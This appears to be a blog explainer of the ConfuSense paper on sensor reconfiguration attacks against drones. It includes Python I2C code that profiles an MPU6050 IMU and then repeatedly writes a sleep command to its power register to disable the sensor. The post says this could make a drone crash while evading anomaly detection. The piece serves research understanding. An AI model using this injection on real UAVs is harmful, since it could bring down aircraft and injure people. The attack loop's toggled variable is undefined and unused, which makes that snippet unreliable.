ConfuSense: Sensor Reconfiguration Attacks

6 min read

Introduction

Commercial Off-The-Shelf Unmanned Aerial Vehicles (UAVs) have widespread use cases: military operations, medicinal delivery, and crop inspection. UAVs use control algorithms for navigation and actuator configurations. In the 3rd USENIX Symposium on Vehicle Security and Privacy, authors Alessandro Erba et al. introduce the paper Sensor Reconfiguration Attacks for Stealthy UAV Manipulation.

Actuators are components that perform two functions: thrust and lift. By altering their configurations, they directly impact a vehicle’s stability, as well as its gravity and drag. These actions are performed after receiving messages from the control algorithms, commonly from middleware such as the Micro Object Request Broker (uORB) in PX4 Autopilot.

A Micro Controller Unit (MCU) is a microcomputer that repeatedly queries sensors to analyze their readings. An MCU is important to an Unmanned Aerial System (UAS) as sensors send their configuration updates to it through a bus or analog signal.

ConfuSense Attack

confusense attack

This attack reconfigures a sensor update to disable components and change controller decisions. This is unlike existing previous works, such as:

  • GPS Spoofing: An attacker compromises a drone via injecting a spoofed GPS signal, leading to deviated trajectory and ignored Return-to-Home capability
  • Electronic magnetic interference (IEMI): Injecting noise in the bus to throw off sensor readings

A sensor reconfiguration attack can be done in four concise steps:

  1. Attacker injects messages onto buses
  2. Reconfiguration occurs
  3. Primitives are used to affect the position controller
  4. Manipulated sensor values eventually lead to unexpected drone behaviour

While these attacks successfully overwhelm or redirect a vehicle’s system, two limitations exist. Firstly, spoofed signals can be complex to craft. Second, continuous spoofing readings must be avoided. Readings that are sent too often may create noise and trigger anomaly detection systems. While ConfuSense accesses the bus, how does it counter these limitations?

ConfuSense uses a single malicious message and solely uses intermittent access to the bus. This is equally as efficient for victim vehicles that navigate out of range. Its methodology allows stealthiness for malicious drone control.

Analysis - Controller

Registers

Looking at the local testbed by Erba et al. [1], we can see various registers used for configuration and keeping tracking of data. For example, the parameter INT_STATUS tells us whether data is ready to read or not. The bit in this register flips to tell the MCU that a new batch of data has completed processing. Here are the rest of the registers used:

# Registers
SMPLRT_DIV = 0x19
CONFIG = 0x1A
ACCEL_CONFIG = 0x1C
FIFO_EN = 0x23
INT_STATUS = 0x3A
GYRO_XOUT_H = 0x43
USER_CTRL = 0x6A
PWR_MGMT_1 = 0x6B
PWR_MGMT_2 = 0x6C
FIFO_R_W = 0x74
FIFO_COUNTH = 0x72

Each value is the register’s corresponding address. Mapping is done according to the MPU 6050 Register Map [2].

Profiling

In particular, the sample rate that controls the output rate of sensor data (SMPLRT_DIV) is reconfigured to lower transmission frequency. FIFO_COUNTH counts the number of bytes written in the FIFO buffer. To understand system performance, both baseline sampling rates and FIFO counts are gathered over 1000 iterations (~1-5 seconds):

def get_fifo_speed():
    prev_fifo_len = 0
    t0 = time.time()
    for ix in range(1000):
        fifo_len = i2cbus.read_word_data(IMU_address, FIFO_COUNTH)
        sampling_rate = i2cbus.read_byte_data(IMU_address, SMPLRT_DIV)
        interrupt_status = i2cbus.read_byte_data(IMU_address, INT_STATUS)
        if (ix < 10):
            print('fifo len: ', fifo_len)
            fifo_delta = fifo_len - prev_fifo_len
            t_delta = time.time() - t0
            print('[{0:0.4f}] length delta: {1}'.format(t_delta, fifo_delta))
            print('Interrupt: ', interrupt_status)
        if (ix % 100 == 0):
            print('fifo len: ', fifo_len)
            print('Sampling rate: ', sampling_rate)
            print('Interrupt: ', interrupt_status)
        t0 = time.time()
        prev_fifo_len = fifo_len

This step allows an attacker to fully fingerprint the system and run attacks with stealthier configurations.

Power Up!

Setup must take place before the attack:

i2cbus = SMBus(1)
IMU_address = 0x68  # MPU6050 I2C Address
 
# Setup power mode
i2cbus.write_byte_data(IMU_address, PWR_MGMT_1, 0x01)
i2cbus.write_byte_data(IMU_address, PWR_MGMT_2, 0x00)
 
# Setup accelerometer
i2cbus.write_byte_data(IMU_address, ACCEL_CONFIG, 0x00)
 
# Setup sampling rate and config
i2cbus.write_byte_data(IMU_address, CONFIG, 0x00)
i2cbus.write_byte_data(IMU_address, SMPLRT_DIV, 0x07)
 
# Setup FIFO
i2cbus.write_byte_data(IMU_address, USER_CTRL, 0x44)
i2cbus.write_byte_data(IMU_address, FIFO_EN, 0x08)

The MPU6050 I2C address provides a starting pointer for the attack:

  • PWR_MGMT_1 and PWR_MGMT_2 registers configure the power mode of the MPU
  • ACCEL_CONFIG configures the accelerometer
  • CONFIG and the aforementioned SMPLRT_DIV are configured
  • USER_CTRL clears the FIFO buffer, and FIFO_EN = 0x08 loads the Accelerometer data into it

Ensuring Consistent Performance

To ensure the configuration was setup properly, the bus is polled every other second for an additional 1000 iterations. With clarity that the system is operating normally, an attacker can then inject a packet to alter the sampling rate configuration.

t1 = time.time()
# for ix in range(50):
while(True):
    if time.time() - t1 > 1000:
        break
 
    t0 = time.time()
    try:
        sampling_rate = i2cbus.read_byte_data(IMU_address, SMPLRT_DIV)
        power_reg = i2cbus.read_byte_data(IMU_address, PWR_MGMT_2)
        gyro_x = i2cbus.read_word_data(IMU_address, GYRO_XOUT_H)
        print('PWR: ', power_reg)
        print('gyroX: ', gyro_x)
    except Exception as e:
        print('Error: ', e)
    print('Sampling rate: ', sampling_rate)
    time.sleep(1)

Analysis - Rogue Device

Polls occur periodically from the microcontroller to update configurations or data alterations. No sensor values will be received when there is a disabled sensor, default values will be given for an erroneous state, and stale data is old values kept on the sensor from a previous poll.

Up to now, we have:

  • Established a baseline for sampling rates, configurations, and other IMU-related data
  • Setup the target Raspberry Pi device with established configurations
  • Ensured consistent performance after setup

Now our target device is ready for the attack. We access the i2cbus and send one spoofed packet to reconfigure sensor information. For this example, it sets the power management register to sleep, disallowing sensors from updating its registers:

i2cbus = SMBus(1)
IMU_address = 0x68  # MPU6050 I2C Address
 
def launch_suspend_attack(i2cbus):
    i2cbus.write_byte_data(IMU_address, PWR_MGMT_1, 0x40)

Practically, this would lead to a drone falling from the air and crashing or losing compass direction, causing the vehicle to flip. This script proceeds to rapidly flip the sensor value between 0 and 1:

while(True):
    if time.time() - t1 > 50:
        break
    try:
        launch_suspend_attack(i2cbus)
    except Exception as e:
        print('Error: ', e)
    attack ^= 1
    time.sleep(0.005)

With this quick sensor configuration change (XOR attack ^= 1), an anomaly detection system may have difficulty figuring out the root cause of the sensor’s instability as it does not have a large enough time window to engage its failsafe.

Conclusion

ConfuSense still maintains a somewhat high complexity for exploitation of a drone’s sensor mechanism. Yet it is more effective at evading anomaly detection systems than sensor jamming. It is also easier to execute remotely compared to a GPS spoofing attack, which requires impersonating a signal.

All these methods may compromise a vehicle; however, sensor reconfiguration attacks are not widely patched in flight control software. This leaves newer UAVs vulnerable.

References

[1] A. Erba, J. H. Castellanos, S. Sihag, S. Zonouz, and N. O. Tippenhauer, “ConfuSense: Sensor Reconfiguration Attacks for Stealthy UAV Manipulation,” in Proc. of the 2025 USENIX Symposium on Vehicle Security and Privacy (VehicleSec ‘25), USENIX, 2025.

[2] InvenSense, Inc., “MPU-6000 and MPU-6050 Register Map and Descriptions,” Rev. 4.2, RM-MPU-6000A-00, Aug. 19, 2013. [Online]. Available: https://cdn.sparkfun.com/datasheets/Sensors/Accelerometers/RM-MPU-6000A.pdf

Graph View